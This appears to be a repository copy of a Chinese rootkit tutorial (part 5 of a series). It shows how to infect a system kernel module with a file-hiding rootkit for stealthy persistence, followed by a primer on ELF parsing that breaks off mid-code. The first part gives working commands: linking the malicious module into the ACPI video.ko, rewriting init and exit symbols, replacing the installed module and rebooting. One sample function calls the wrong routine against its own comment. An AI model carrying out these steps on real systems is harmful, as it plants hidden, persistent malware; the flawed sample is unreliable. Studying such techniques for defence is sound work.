https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/get.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/http.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/kohid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/kohid.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/komon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/komon.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/lssec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/lssec.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/lssym.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/lssym.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/noinj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/noinj.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/ping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/ping.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/pshid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/pshid.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/pthid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/pthid.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/rebooted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/rebooted.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/root-backdoor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/root-backdoor.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/set-rec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/set-rec.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/startup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/startup.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/sys_call_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/sys_call_table.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/video.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/video.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/write_protection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/write_protection.png -------------------------------------------------------------------------------- /source/linux_rootkit/persistence.rst: -------------------------------------------------------------------------------- 1 | Linux Rootkit 系列五:感染系统关键内核模块实现持久化 2 | ==================================================== 3 | 4 | **最后修改时间** : **2016-07-21 CST** 。 5 | 6 | rectigu@gmail.com, 二〇一六年七月。 7 | 8 | **FreeBuf 链接** : 9 | http://www.freebuf.com/articles/system/109034.html 。 10 | 11 | 前言 12 | ---- 13 | 14 | 照旧,本文所需的相关代码位于如下代码仓库: 15 | https://github.com/NoviceLive/research-rootkit。 16 | 17 | **测试建议:为了愉快地 Happy Hacking,请不要在物理机玩火。** 18 | 19 | 概要 20 | ---- 21 | 22 | 本文分为两大部分, 23 | 第一部分是基于链接与修改符号表感染并劫持 24 | 目标内核模块的初始函数与退出函数,使其成为寄生的宿主, 25 | 实现隐蔽与持久性。第二部分为结合三个实际例子 26 | ( ``lssec``, ``lssym``, ``setsym`` )的ELF 文件解析起步, 27 | 这一部分提供了我们第一部分进行 Happy Hacking 所需要的工具基础, 28 | ``setsym`` ,同时也为更好的理解第一部分提供帮助信息。 29 | 30 | 31 | 第一部分:感染系统关键内核模块实现持久化 32 | ---------------------------------------- 33 | 34 | 1. 编译并安装所需的 ELF 文件修改程序 35 | ++++++++++++++++++++++++++++++++++++ 36 | 37 | 如果你之前已经 ``git clone`` 过代码仓库, 38 | 那么现在就可以简单地 ``git pull`` 来获取最新的改动。 39 | 40 | 41 | 进入 ``lssec.c``, ``lssym.c``, ``setsym.c`` 所在的文件夹, 42 | 编译并安装这几个程序。 43 | 44 | :: 45 | 46 | $ make 47 | $ sudo make install 48 | 49 | 这时候,这几个程序就已经安装到 ``/usr/bin`` 目录下了, 50 | 可以使用了。 51 | 52 | **注 1** : ``lssec`` 相当于自己造的一个功能不完善的 53 | ``readelf -S`` , 54 | ``lssym`` 相当于自己造的一个功能不完善的 ``readelf -s`` 55 | 或者 ``objdump -t`` 。 56 | 因此,只有 ``setsym`` 是必须的,其他两个可以不要。 57 | 笔者写 ``lssec`` 与 ``lssym`` 58 | 是为了在后面讲解 ELF 解析的时候用作起步实例。 59 | 60 | **注 2** :我们会在文章的第二部分拿这几个程序当实际的例子来讲解 61 | ELF 文件的结构与解析。现在,我们直接拿起它们用就好了。 62 | 63 | **注 3** : 这几个程序只支持 64 比特 ELF 文件。 64 | 如果你需要支持 32 比特 ELF 文件的工具,除了可以自行修改, 65 | 还可以使用参考资料的某篇文章提供的 ``elfchger`` , 66 | 而这个工具只支持 32 比特 ELF 文件。 67 | 68 | 69 | 2. 内核模块函数的重定位与挂钩 70 | +++++++++++++++++++++++++++++ 71 | 72 | 演示用的简单内核模块 73 | ******************** 74 | 75 | 我们拿下面的这个简单的内核模块作试验演示。 76 | 77 | .. code-block:: c 78 | 79 | int 80 | noinj_init(void) 81 | { 82 | pr_alert("noinj: %s\n", "Greetings the World!"); 83 | 84 | return 0; 85 | } 86 | 87 | 88 | void 89 | noinj_exit(void) 90 | { 91 | pr_alert("noinj: %s\n", "Farewell the World!"); 92 | 93 | return; 94 | } 95 | 96 | 97 | module_init(noinj_init); // 请注意,这次我们使用了个性化的初始函数名,``noinj_init`` 。 98 | module_exit(noinj_exit); // 退出函数也是。 99 | 100 | 101 | int 102 | fake_init(void) // 用来演示符号表项挂钩的假初始函数。 103 | { 104 | noinj_exit(); // 先调用真的初始函数。 105 | 106 | pr_alert("==> NOINJ: %s\n", "GR33TINGS THE W0RLD!"); 107 | 108 | return 0; 109 | } 110 | 111 | 112 | int 113 | fake_exit(void) // 用来演示符号表项挂钩的假退出函数。 114 | { 115 | noinj_exit(); // 先调用真的退出函数。 116 | 117 | pr_alert("==> NOINJ: %s\n", "FAR3W311 THE W0RLD!"); 118 | 119 | return 0; 120 | } 121 | 122 | 编译之后我们可以得到一个 ``noinj.ko`` ,这是一个可重定位文件。 123 | 不妨用 ``file`` 查看一下,如下所示。 124 | 125 | :: 126 | 127 | $ file noinj.ko 128 | noinj.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=9b497fbb081f193856750e1c2fad93b0c3331edf, not stripped 129 | 130 | 模块的编译过程与 module_init / module_exit 的分析 131 | ************************************************* 132 | 133 | 生成 ``noinj.ko`` 的大致过程是这样子的: 134 | 编译器首先将所有源文件编译成目标文件, 135 | (拿 ``noinj`` 举个例子,就是 ``noinj.c`` -> ``noinj.o`` ), 136 | 同时,编译器会自动生成一个源文件, 137 | (在我们的例子中叫 ``noinj.mod.c`` ), 138 | 编译之后(即 ``noinj.mod.c`` -> ``noinj.mod.o`` ) 139 | 再与已经编译好的目标文件(即 ``noinj.o`` )链接到一起, 140 | 得到一个可重定位文件(即 ``noinj.ko`` )。 141 | 142 | ``noinj.mod.c`` 中的内容, 143 | 我们主要关心 ``__this_module`` 的定义,如下。 144 | 145 | .. code-block:: c 146 | 147 | __visible struct module __this_module 148 | __attribute__((section(".gnu.linkonce.this_module"))) = { // 将 __this_module 变量放到 .gnu.linkonce.this_module 区间里。 149 | .name = KBUILD_MODNAME, 150 | .init = init_module, // 填充初始函数为 init_module 151 | #ifdef CONFIG_MODULE_UNLOAD 152 | .exit = cleanup_module, // 填充退出函数为 cleanup_module 153 | #endif 154 | .arch = MODULE_ARCH_INIT, 155 | }; 156 | 157 | 我们在编写内核模块的时候不一定会使用 158 | ``init_module`` 与 ``cleanup_module`` 159 | 作为初始函数与退出函数的名字;而是使用个性化的名字, 160 | 比如 ``noinj_init`` 与 ``noinj_exit`` , 161 | 再用 ``module_init`` 与 ``module_exit`` 162 | 注册我们的个性化命名的函数为初始函数与退出函数。 163 | 这时候问题来了, ``module_init`` 与 ``module_exit`` 164 | 是怎么完成从个性化名字(比如 ``noinj_init`` 与 ``noinj_exit`` ) 165 | 到标准名字(即 ``init_module`` 与 ``cleanup_module`` )的联系呢? 166 | 请看源代码,位于 ``linux/module.h`` 。 167 | 168 | .. code-block:: c 169 | 170 | /* Each module must use one module_init(). */ 171 | #define module_init(initfn) \ 172 | static inline initcall_t __inittest(void) \ 173 | { return initfn; } \ 174 | int init_module(void) __attribute__((alias(#initfn))); // 请看这里,使用 ``GCC`` 编译器的拓展功能,函数别名属性,将个性化名字与标准名字 ``init_module`` 关联起来。 175 | 176 | /* This is only required if you want to be unloadable. */ 177 | #define module_exit(exitfn) \ 178 | static inline exitcall_t __exittest(void) \ 179 | { return exitfn; } \ 180 | void cleanup_module(void) __attribute__((alias(#exitfn))); // ``cleanup_module`` 也是。 181 | 182 | 观察重定位记录与符号表 183 | ********************** 184 | 185 | 下面我们看看这个内核模块的重定位记录: ``readelf -r noinj.ko`` , 186 | 重点看看 ``.gnu.linkonce.this_module`` 的记录, 187 | 包含 ``init_module`` 与 ``cleanup_module`` 符号。 188 | 189 | :: 190 | 191 | Relocation section '.rela.gnu.linkonce.this_module' at offset 0x1aa88 contains 2 entries: 192 | Offset Info Type Sym. Value Sym. Name + Addend 193 | 000000000158 001c00000001 R_X86_64_64 0000000000000000 init_module + 0 194 | 0000000002f8 001a00000001 R_X86_64_64 0000000000000020 cleanup_module + 0 195 | 196 | 请结合符号表( ``readelf -s noinj.ko`` )来看。 197 | 198 | :: 199 | 200 | $ readelf -s noinj.ko 201 | Symbol table '.symtab' contains 34 entries: 202 | Num: Value Size Type Bind Vis Ndx Name 203 | 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 204 | // 这儿省略一部分。 205 | 25: 0000000000000000 832 OBJECT GLOBAL DEFAULT 11 __this_module 206 | 26: 0000000000000020 24 FUNC GLOBAL DEFAULT 2 cleanup_module // 真的退出函数的记录,名字是 cleanup_module,Value 是 0x20。 207 | 27: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND __fentry__ 208 | 28: 0000000000000000 27 FUNC GLOBAL DEFAULT 2 init_module // 真的初始函数的记录,名字是 init_module, Value 是 0x00。 209 | 29: 0000000000000040 46 FUNC GLOBAL DEFAULT 2 fake_init // 假的初始函数的记录,Value 是 0x40。 210 | 30: 0000000000000000 27 FUNC GLOBAL DEFAULT 2 noinj_init // 真的初始函数的记录,名字是 noinj_init, 但 Value 是 0x00,与 init_module 一样。 211 | 31: 0000000000000020 24 FUNC GLOBAL DEFAULT 2 noinj_exit // 真的退出函数的记录,名字是 noinj_exit, 但 Value 是 0x20,与 cleanup_module 一样。 212 | 32: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND printk 213 | 33: 0000000000000070 46 FUNC GLOBAL DEFAULT 2 fake_exit // 假的初始函数的记录,Value 是 0x70。 214 | 215 | 216 | 如果我们将 ``init_module`` 符号的值,改成 ``fake_init`` 符号的值, 217 | 那么在模块加载进行符号解析、重定位的时候, 218 | ``init_module`` 会解析、定位到 ``fake_init`` , 219 | 从而导致我们的假初始函数被执行, 220 | 而真的初始函数不会执行(当然, 221 | 因为我们假初始函数会调用真的初始函数,所以真的初始函数也会执行, 222 | 但是这已经是在我们的掌控之下了)。 223 | 224 | ``cleanup_module`` 类似。下面我们通过实验来演示这一点。 225 | 226 | 实验演示符号表项的劫持 227 | ********************** 228 | 229 | ``setsym`` 的用法是这样子的,有两种:一,传递两个位置参数, 230 | 第一个是内核模块路径,第二个是符号名, 231 | 这时 ``setsym`` 会把这个符号的值打印出来;二,传递三个位置参数, 232 | 第一个是内核模块路径,第二个是符号名,第三个是值, 233 | 这时 ``setsym`` 会把这个符号的值修改成给定的值。 234 | 简言之,如下。 235 | 236 | :: 237 | 238 | // 第一种用法,获取符号的值。 239 | setsym 240 | 241 | // 第二种用法,设置符号的值。 242 | setsym 243 | 244 | 实验操作如下。 245 | 246 | **提示** :下面的操作已经写在代码仓库里对应目录的 247 | ``infect.sh`` 里了。 248 | 249 | :: 250 | 251 | // 构建模块。 252 | $ make 253 | 254 | // 复制一份副本用于对照演示。 255 | $ cp noinj.ko infected.ko 256 | 257 | // 将副本的 init_module 符号值改成 fake_init 符号值。 258 | $ setsym infected.ko init_module $(setsym infected.ko fake_init) 259 | 260 | // 将副本的 cleanup_module 符号值改成 fake_exit 符号值。 261 | $ setsym infected.ko cleanup_module $(setsym infected.ko fake_exit) 262 | // 加载原始的模块。 263 | $ insmod noinj.ko 264 | 265 | // 卸载载原始的模块。 266 | $ rmmod noinj 267 | 268 | // 加载修改过的副本。 269 | $ insmod infected.ko 270 | 271 | // 卸载修改过的副本。 272 | $ rmmod noinj // 注意模块名要用宿主的,即 noinj 273 | 274 | 正常情况下,系统应该调用真的初始函数, 275 | 而假的初始函数根本没有执行的机会,因为没人调用了它。 276 | 277 | 但是对比原本与副本加载、卸载过程中 ``dmesg`` 打印出来的消息, 278 | 可以得知,副本里的真初始函数是被假初始函数调用的, 279 | 而假初始函数则是被系统调用的。 280 | 也就是说,完成了对初始函数的劫持 / 挂钩。 281 | 282 | 效果如下图所示。 283 | 284 | .. image:: images/noinj.png 285 | 286 | 287 | 3. 感染一个示例内核模块 288 | +++++++++++++++++++++++ 289 | 290 | 在上一小节,我们演示了将初始函数与退出函数劫持成 291 | 同一个模块里的另一个函数, 292 | 现在我们看看怎样把一个良民模块的初始函数与退出函数 293 | 劫持成另一个恶意模块的初始函数与退出函数。 294 | 此外,恶意模块的代码也要注入到良民模块里, 295 | 这样,恶意模块才能起作用。 296 | 297 | 修改 fshid 使其便于寄生 298 | *********************** 299 | 300 | 这次我们用的良民模块跟上面那个 ``noinj`` 没什么本质差别, 301 | 换了下名字来彰显代码注入这个话题,所以叫 ``codeinj`` 。 302 | 303 | 恶意模块的话,就用 `笔者的上一篇文章`_ 里的 ``fshid`` ; 304 | 注意,我们需要对 ``fshid`` 作一些必要的改动。 305 | 一来,要把初始函数从 ``init_module`` 改成 ``fshid_init`` , 306 | ``cleanup_module`` 也类似改成 ``fshid_exit`` ; 307 | 这是为了避免与良民模块出现名字冲突。 308 | 二来,我们要在 ``fshid_init`` 里调用良民模块(即 ``codeinj`` ) 309 | 的初始函数(即 ``codeinj_init`` ), 310 | 类似地, ``fshid_exit`` 里调用 ``codeinj_exit`` ; 311 | 这是为了让我们的挂钩对宿主模块(即良民模块)的功能不产生影响, 312 | 使别人观察不到我们的恶意模块的存在。 313 | 314 | 将 fshid 感染到示例模块中 315 | ************************* 316 | 317 | 具体操作如下。 318 | 319 | **提示** :下面的操作已经写在代码仓库里对应目录的 320 | ``infect.sh`` 里了。 321 | 322 | :: 323 | 324 | // 构建已经修改好适合寄生的恶意模块。 325 | $ (cd fshid && make --quiet) 326 | 327 | // 构建良民模块(即宿主模块)。 328 | $ make --quiet 329 | 330 | // 将寄生模块与宿主模块链接到一起。 331 | // 请注意顺序。 332 | $ ld -r codeinj.ko fshid/fshidko.ko -o infected.ko 333 | 334 | // 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值 335 | $ setsym infected.ko init_module $(setsym infected.ko fshid_init) 336 | 337 | // 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值 338 | $ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit) 339 | 340 | // 加载被寄生了的宿主。 341 | $ insmod infected.ko 342 | 343 | // 测试看看那个文件能不能列举出来:结果应该是不能。 344 | $ ls -al fshid/test 345 | 346 | $ rmmod codeinj // 注意模块名要用宿主的,即 codeinj 347 | 348 | // 再测试看看那个文件能不能列举出来:结果应该是能。 349 | $ ls -al fshid/test 350 | 351 | 参考效果 352 | ******** 353 | 354 | 结果如图。 355 | 356 | .. image:: images/codeinj.png 357 | 358 | 4. 感染系统中的内核模块 359 | +++++++++++++++++++++++ 360 | 361 | 现在,我们开始做点正事,感染系统关键内核模块搭顺风车实现隐蔽持久化。 362 | 363 | 确定目标并采集必要信息 364 | ********************** 365 | 366 | 在系统启动的时候,有一些内核模块会自动加载, 367 | Rootkit 的内核模块可以寄生到这些模块上,实现实现隐蔽持久。 368 | 369 | 通过 ``lsmod`` 随意找个没被使用的模块,笔者就拿 ``video`` 动手了, 370 | 并在滚到最新的 Kali ( ``4.6.0-kali1-amd64`` )上实践, 371 | 读者需要根据自己动手的环境进行一些必要的调整。 372 | 373 | 先找到它的文件。 374 | 尝试在 ``/lib/modules/$(uname -r)`` 目录下面查找一下, 375 | ``find /lib/modules/$(uname -r) -name video`` 。结果如下。 376 | 377 | :: 378 | 379 | $ find /lib/modules/$(uname -r) -name video.ko 380 | /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko 381 | 382 | 接下来尝试判断目标模块的初始函数与退出函数的个性名字。 383 | 笔者顺手找到了 ``video`` 模块的源代码, 384 | 位于内核源码(笔者手里的版本是 4.6.2)树的 385 | ``drivers/acpi/acpi_video.c`` 。 386 | 摘取关键片段如下,我们可以看到 ``video`` 模块的初始函数与退出函数是 387 | ``acpi_video_init`` 与 ``acpi_video_exit`` 。 388 | 389 | :: 390 | 391 | module_init(acpi_video_init); 392 | module_exit(acpi_video_exit); 393 | 394 | 将 fshid 感染到系统模块中 395 | ************************* 396 | 397 | 一切准备就绪,开始行动。 398 | 399 | **提示** :下面的操作已经写在代码仓库里对应目录的 400 | ``infect.sh`` 里了。 401 | 402 | :: 403 | 404 | // 复制目标模块到实验的当前目录。 405 | $ cp /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko . 406 | 407 | // 检查一下我们对初始函数与退出函数的判断是否正确。 408 | $ readelf -s video.ko | grep -e grep -e acpi_video_init -e acpi_video_exit 409 | 410 | // 把它的初始函数与退出函数的绑定改成 global 。 411 | // 后面会解释一下这一步的必要性。 412 | $ objcopy video.ko gvideo.ko --globalize-symbol acpi_video_init --globalize-symbol acpi_video_exit 413 | 414 | // 检查一下 objcopy 是否成功。 415 | $ readelf -s gvideo.ko | grep -e grep -e acpi_video_init -e acpi_video_exit 416 | 417 | // 构建已经修改好适合寄生的恶意模块。 418 | // 后面还会解释一下要怎么修改。 419 | $ (cd fshid && make --quiet) 420 | 421 | // 将寄生模块与宿主模块链接到一起。 422 | // 请注意顺序。 423 | $ ld -r gvideo.ko fshid/fshidko.ko -o infected.ko 424 | 425 | // 将寄生后宿主的 init_module 符号值改成 fshid_init 符号值 426 | $ setsym infected.ko init_module $(setsym infected.ko fshid_init) 427 | 428 | // 将寄生后宿主的 cleanup_module 符号值改成 fshid_exit 符号值 429 | $ setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit) 430 | 431 | // 卸载系统本来就加载了的 video 模块。 432 | $ rmmod video 433 | 434 | // 加载寄生了恶意模块的 video 的模块。 435 | // 观察 dmesg 的输出。 436 | $ insmod infected.ko 437 | 438 | // 测试隐藏的那个文件能不能列举出来:结果应该是不能。 439 | $ ls -al fshid/test 440 | 441 | $ rmmod video // 注意模块名要用宿主的,即 video 442 | 443 | // 再测试隐藏的那个文件能不能列举出来:结果应该是能。 444 | $ ls -al fshid/test 445 | 446 | 参考效果与重启测试 447 | ****************** 448 | 449 | 测试效果截图如下。 450 | 451 | .. image:: images/video.png 452 | 453 | 如果测试正常,那么我们可以用被感染的模块替换掉原来的那个健康的模块了。 454 | 455 | :: 456 | 457 | // 备份健康的 video 模块。 458 | $ mv /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko.bak 459 | // 把被感染的 video 模块复制到原来健康模块的位置。 460 | $ cp infected.ko /lib/modules/4.6.0-kali1-amd64/kernel/drivers/acpi/video.ko 461 | 462 | // 重启系统。 463 | $ reboot 464 | 465 | 系统重启之后检查 dmesg 日志并测试是否可以查看到我们的隐藏文件, 466 | 以此来判断我们的恶意模块是否正常工作。 467 | 468 | 看下图,我们可以看到,在系统启动的初期, 469 | 我们感染到 ``video`` 模块里的代码打印出来的启动信息。 470 | 显然,我们的感染是成功。 471 | 472 | .. image:: images/startup.png 473 | 474 | 系统重启之后,进行文件隐藏是否起作用的测试。参考结果如下图。 475 | 476 | .. image:: images/rebooted.png 477 | 478 | 如何修改 fshid 使其便于寄生到真实的系统模块 479 | ******************************************* 480 | 481 | 在第 3 小节感染示例模块的时候,我们就对 fshid 做了一些必要的修改。 482 | 请注意,在用来感染实际的系统模块时,我们还要多做一点改动。 483 | 484 | 改动的第一点是把 ``init_module`` 与 ``cleanup_module`` 改成 485 | ``fshid_init`` 与 ``fshid_exit`` 来避免名字冲突。 486 | 这一点改动与第 3 小节是一样的。 487 | 488 | 第二点就是,在 ``fshid_init`` 里调用 ``acpi_video_init`` , 489 | 在 ``fshid_exit`` 里调用 ``acpi_video_exit`` 490 | 来使宿主被感染之后依旧能正常工作。第二点也与第 3 小节类似。 491 | 492 | 最后是与第 3 小节不同的一个改动, 493 | 在定义 ``fshid_init`` 的时候前面加上 ``__init`` , 494 | 定义 ``fshid_exit`` 的时候前面加上 ``__exit`` 。 495 | 496 | 这是因为系统模块的初始函数与退出函数在定义的时候 497 | 通常都加上了这两个修饰前缀。 498 | 它们的作用是把函数的代码放到特殊的代码区间里 499 | (也就是说,不放到 ``.text`` 区间里)。 500 | 这一点我们要与被感染的模块保持一致。 501 | 502 | 把系统模块初始函数与退出函数的绑定改成 global 的必要性 503 | ****************************************************** 504 | 505 | 系统模块的初始函数与退出函数在定义的时候通常也都会加上 ``static`` , 506 | 这就使得这两个函数只在它那个源码文件的目标文件里可见, 507 | 我们也就不能在我们的假初始函数与假退出函数里调用了。 508 | 509 | 所以,我们要先用 ``objcopy --globalize-symbol`` 510 | 把这两个函数从 ``local`` 变成 ``global`` 。 511 | 512 | 5. 小结 513 | +++++++ 514 | 515 | 到此,我们详细讨论了通过链接、修改符号表来感染其他模块并劫持 / 516 | 挂钩其他模块的初始函数与退出函数,并将目标模块变成我们的宿主, 517 | 依托目标模块活动。 518 | 519 | 需要说明的是,对符号的具体解析、重定位细节,本文没有深入, 520 | 且待后续的分解。 521 | 522 | 另外,本文使用的 ``ld`` 与 ``objcopy`` 在普通用户的机器上很可能没有。 523 | 也就是说,我们其实需要自己实现链接与把符号从 ``local`` 524 | 改成 ``global`` 的功能。考虑到篇幅有限,本文对这两个的实现不做讲解。 525 | 526 | 527 | 第二部分: ELF 文件解析初步 528 | --------------------------- 529 | 530 | 示例一:列举所有区间的名字、文件偏移等信息:``lssec`` 531 | +++++++++++++++++++++++++++++++++++++++++++++++++++++ 532 | 533 | 分析 ELF 头部 534 | ************* 535 | 536 | ELF 文件的起始部分为 ELF 头部, 537 | ELF 头部有两种, 即 ``Elf32_Ehdr`` (32 比特 ELF 文件头部) 538 | 与 ``Elf64_Ehdr`` (64 比特 ELF 文件头部)。 539 | 540 | 我们以 ``Elf64_Ehdr`` 为例看看其成员的含义。 541 | 542 | .. code-block:: c 543 | 544 | typedef struct 545 | { 546 | unsigned char e_ident[EI_NIDENT]; // ELF 特征码与其他信息。 547 | Elf64_Half e_type; // 类型。 548 | Elf64_Half e_machine; // 架构。 549 | Elf64_Word e_version; // 版本。 550 | Elf64_Addr e_entry; // 入口点虚拟地址。 551 | Elf64_Off e_phoff; // 程序头表的文件偏移。 552 | Elf64_Off e_shoff; // 区间头表的文件偏移。 553 | Elf64_Word e_flags; 554 | Elf64_Half e_ehsize; // ELF 头部的大小(单位:字节)。 555 | Elf64_Half e_phentsize; // 程序头表项的大小(单位:字节)。 556 | Elf64_Half e_phnum; // 程序头表项的数目。 557 | Elf64_Half e_shentsize; // 区间头表项的大小(单位:字节)。 558 | Elf64_Half e_shnum; // 区间头表项的数目。 559 | Elf64_Half e_shstrndx; // 区间头字符串表在区间头表的索引。 560 | } Elf64_Ehdr; 561 | 562 | 头部的前 ``EI_NIDENT`` 字节数据(即结构体中的 e_ident 成员) 563 | 为 ELF Identification, 564 | 其中包括特征码,比特类型(即 32 比特或者 64 比特) 565 | 与其他信息(比如端序 )。 566 | 567 | 具体解析的时候,我们先从文件的起始处读取 568 | ``EI_NIDENT`` 字节的内容到内存中, 569 | 从中判断出文件的比特类型,在知道了文件的比特类型之后, 570 | 我们就可以确定该用 ``Elf32_Ehdr`` 还是用 ``Elf64_Ehdr`` 。 571 | 572 | 本文涉及的所有操作均以 ``Elf64_Ehdr`` + 小端序为例。 573 | 574 | 结合示例代码来理解。 575 | 576 | .. code-block:: c 577 | 578 | // 省略打开文件部分。 579 | 580 | unsigned char e_ident[EI_NIDENT]; 581 | // 读取文件起始 ``EI_NIDENT`` 字节的内容。 582 | if (fread(e_ident, 1, EI_NIDENT, fp) != EI_NIDENT) { 583 | fprintf(stderr, "%s\n", "Incomplete ELF Identification!"); 584 | return EXIT_FAILURE; 585 | } 586 | 587 | // 判断 ``ELF`` 特征码是否正确。 588 | // ``ELFMAG`` 与 ``SELFMAG`` 定义于系统头文件 ``elf.h`` 中, 589 | // 分别为特征码与特征码的大小。 590 | if (memcmp(e_ident, ELFMAG, SELFMAG) != 0) { 591 | fprintf(stderr, "%s\n", "Bad ELF Magic Number!"); 592 | return EXIT_FAILURE; 593 | } 594 | 595 | // 判断是否是 64 比特小端序。 596 | // 这里使用的宏比如 ``EI_CLASS`` 与 ``ELFCLASS64`` 均定义于 ``elf.h`` 。 597 | if (e_ident[EI_CLASS] != ELFCLASS64 || e_ident[EI_DATA] != ELFDATA2LSB) { 598 | fprintf(stderr, "%s\n", "We Only Support ELF64 LE!"); 599 | return EXIT_FAILURE; 600 | } 601 | 602 | Elf64_Ehdr header; 603 | // 退回到文件起始。 604 | fseek(fp, 0, SEEK_SET); 605 | // 读取一个 ``Elf64_Ehdr`` 大小的内容, 606 | // 也就是读取 ``ELF`` 头部。 607 | if (fread(&header, 1, sizeof header, fp) != sizeof header) { 608 | fprintf(stderr, "%s\n", "Incomplete ELF Header!"); 609 | return EXIT_FAILURE; 610 | } 611 | 612 | 分析区间头部 613 | ************ 614 | 615 | 上面我们讨论了 ELF 头部的结构与读取方式, 616 | 接下来我们看看怎样处理区间头部,区间头部也分两种, 617 | 32 比特的叫 ``Elf32_Shdr`` ,自然 64 比特的也就叫 ``Elf64_Shdr`` 。 618 | 619 | 以 ``Elf64_Shdr`` 为例,成员含义如下。 620 | 621 | .. code-block:: c 622 | 623 | typedef struct 624 | { 625 | Elf64_Word sh_name; // 区间名(字符串表索引)。 626 | Elf64_Word sh_type; // 区间类型。 627 | Elf64_Xword sh_flags; // 区间标志。 628 | Elf64_Addr sh_addr; // 区间虚拟地址。 629 | Elf64_Off sh_offset; // 区间文件偏移。 630 | Elf64_Xword sh_size; // 区间大小(单位:字节)。 631 | Elf64_Word sh_link; 632 | Elf64_Word sh_info; 633 | Elf64_Xword sh_addralign; 634 | Elf64_Xword sh_entsize; // 这个会在下面 lssym 的时候解释。 635 | } Elf64_Shdr; 636 | 637 | 值得注意的是, ``sh_name`` 成员并不是一个字符串, 638 | 而是一个整数,为区间头表字符串表的索引。 639 | 那我们怎么拿到这个区间的名字呢? 640 | 641 | 回想我们前面讲的 ELF 头部结构, 642 | ``Elf64_Ehdr`` 里的 ``e_shoff`` 成员是区间头表的文件偏移, 643 | ``e_shentsize`` 是区间头表项的大小(单位:字节), 644 | ``e_shnum`` 是区间头表项的数目;也就是说, 645 | 从文件偏移 ``e_shoff`` 开始 ``e_shentsize * e_shnum`` 大小的内容 646 | 就是区间头表。 647 | 这样一来,我们可以把整个区间头表读取到内存里。 648 | 而 ``e_shstrndx`` 是字符串表在区间头表的索引, 649 | 通过访问这个索引得到字符串表的头部, 650 | 并进而根据头部中的信息将字符串表的内容读取出来, 651 | 再 ``sh_name`` 作偏移访问字符串表就可以拿到区间名了。 652 | 653 | 结合代码示例理解。 654 | 655 | .. code-block:: c 656 | 657 | size_t size = header.e_shnum * header.e_shentsize; 658 | // 分配区间头表大小的内存。 659 | Elf64_Shdr 